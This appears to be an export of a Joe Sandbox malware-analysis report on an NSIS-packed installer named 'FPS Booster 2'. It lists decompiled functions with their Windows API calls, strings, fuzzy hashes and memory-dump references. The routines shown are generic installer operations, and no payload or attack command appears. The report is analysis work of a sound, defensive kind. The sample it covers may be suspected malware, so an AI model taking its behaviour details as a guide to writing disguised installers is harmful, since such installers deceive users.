Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: d135351413aed0fa2e41fb55b591d9c8f09a23be57b10ac43573759c3ccf12cb
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: d135351413aed0fa2e41fb55b591d9c8f09a23be57b10ac43573759c3ccf12cb
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1), xrefs: 004061C1, 004061C6, 004061CD, 004061DC
@bG, xrefs: 00406162

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1)
API String ID: 3734993849-846574163
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 6E9E2445 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,6E9E2B4A,00000000), ref: 6E9E2499

Part of subcall function 6E9E164F: lstrcpyW.KERNEL32(00000018,00000000,?,6E9E11CD,-0000002E,00000000), ref: 6E9E1674

wsprintfW.USER32 ref: 6E9E24E8
GlobalFree.KERNEL32(?), ref: 6E9E2516
GlobalFree.KERNEL32(00000000), ref: 6E9E253F

Strings

s<u, xrefs: 6E9E24E8

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID: s<u
API String ID: 2435812281-779365171
Opcode ID: 2e8a9ebe229e9229e68d1d1ab1f35798dee3ef19f392d955b9e29f8085b23587
Instruction ID: 802ebaedd80d66d62a822bb9544ca37b1816b5a1bd501b74595cb882eb8f827b
Opcode Fuzzy Hash: 2e8a9ebe229e9229e68d1d1ab1f35798dee3ef19f392d955b9e29f8085b23587
Instruction Fuzzy Hash: 9931AEB1208607EFEB229BB8CD5886AB7BCFF463567110914EB1197A95FB31D844DF20

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 4ef21115088bf02e153ee67726e536285437d58c513b54df1b4c7782176e81a7
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 4ef21115088bf02e153ee67726e536285437d58c513b54df1b4c7782176e81a7
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00445D80,00426D70,76F923A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426D70,76F923A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 471e7f8fc2b920915949bdd7b41082774f496188afb4edabac252d6a905c9898
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 471e7f8fc2b920915949bdd7b41082774f496188afb4edabac252d6a905c9898
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426D70,76F923A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426D70,76F923A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 606aa0f624e16cfd08a3d3497b582caa03978367d61ff0107b1f05178c662554
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 606aa0f624e16cfd08a3d3497b582caa03978367d61ff0107b1f05178c662554
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(000696B0,00000064,0006B7A0), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 6e71b36604eb8168b9de070626c23bed7d900371b4c5136878c27d07ffa20f21
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 6e71b36604eb8168b9de070626c23bed7d900371b4c5136878c27d07ffa20f21
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 6FFB1021 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 6FFB1E34: lstrcpynW.KERNEL32(?,?,6FFB1053,?,6FFB1053,?), ref: 6FFB1E62
Part of subcall function 6FFB1E34: GlobalFree.KERNELBASE ref: 6FFB1E72

SHBrowseForFolderW.SHELL32(?), ref: 6FFB10B4

Part of subcall function 6FFB1E83: GlobalAlloc.KERNELBASE(00000040,?,?,6FFB1061,error,?,00000104,?,00000400), ref: 6FFB1E99
Part of subcall function 6FFB1E83: lstrcpynW.KERNEL32(00000004,00000104,?,6FFB1061,error,?,00000104,?,00000400), ref: 6FFB1EAF

Strings

error, xrefs: 6FFB1057, 6FFB10C0, 6FFB10E7
E, xrefs: 6FFB10A6

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: Globallstrcpyn$AllocBrowseFolderFree
String ID: E$error
API String ID: 1025582028-2359134700
Opcode ID: 1d37399892a915d26e0d4735e66ec77ab2fa821abcb7aa644d48759b5007fe64
Instruction ID: 13cd765273713341a9985b0dfae0d388887d20c4a970b005ae563ecf7c93fa41
Opcode Fuzzy Hash: 1d37399892a915d26e0d4735e66ec77ab2fa821abcb7aa644d48759b5007fe64
Instruction Fuzzy Hash: AB212C729152199BDB10DFA6C985BDE77B8AF08399F00415AE904E2240D734EB44CFA0

Function 004020F9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426D70,76F923A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Strings

MS Shell Dlg, xrefs: 00402149

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID: MS Shell Dlg
API String ID: 1599320355-76309092
Opcode ID: ccebd128bbe4e9bb6111c0dafa4c3d4753fa9787b5105a835a2bc2114a3fe238
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: ccebd128bbe4e9bb6111c0dafa4c3d4753fa9787b5105a835a2bc2114a3fe238
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 6E9E1904 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 25stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6E9E1581: GlobalAlloc.KERNELBASE(00000040,?,6E9E15BA,?,?,6E9E185F,?,6E9E1017), ref: 6E9E158B

lstrcpyW.KERNEL32(00000000,error,00000000,6E9E287B,00000000), ref: 6E9E1929
wsprintfW.USER32 ref: 6E9E1942

Strings

callback%d, xrefs: 6E9E193C
s<u, xrefs: 6E9E1942
error, xrefs: 6E9E1923

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: AllocGloballstrcpywsprintf
String ID: callback%d$error$s<u
API String ID: 2689062267-3671815815
Opcode ID: 970e5fdafc2ced97c4ae6d78fce13d4c7ad9f3d8b551645bac1afe82fdb26859
Instruction ID: 039d57cdafe9b1bb67e42715ce27192640535700bd6dc8ac21e90efb6bb1e60c
Opcode Fuzzy Hash: 970e5fdafc2ced97c4ae6d78fce13d4c7ad9f3d8b551645bac1afe82fdb26859
Instruction Fuzzy Hash: C1E0D870608410AB4653D7FAF84C9A936786F833397000960F709D6A61C711C6498E86

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
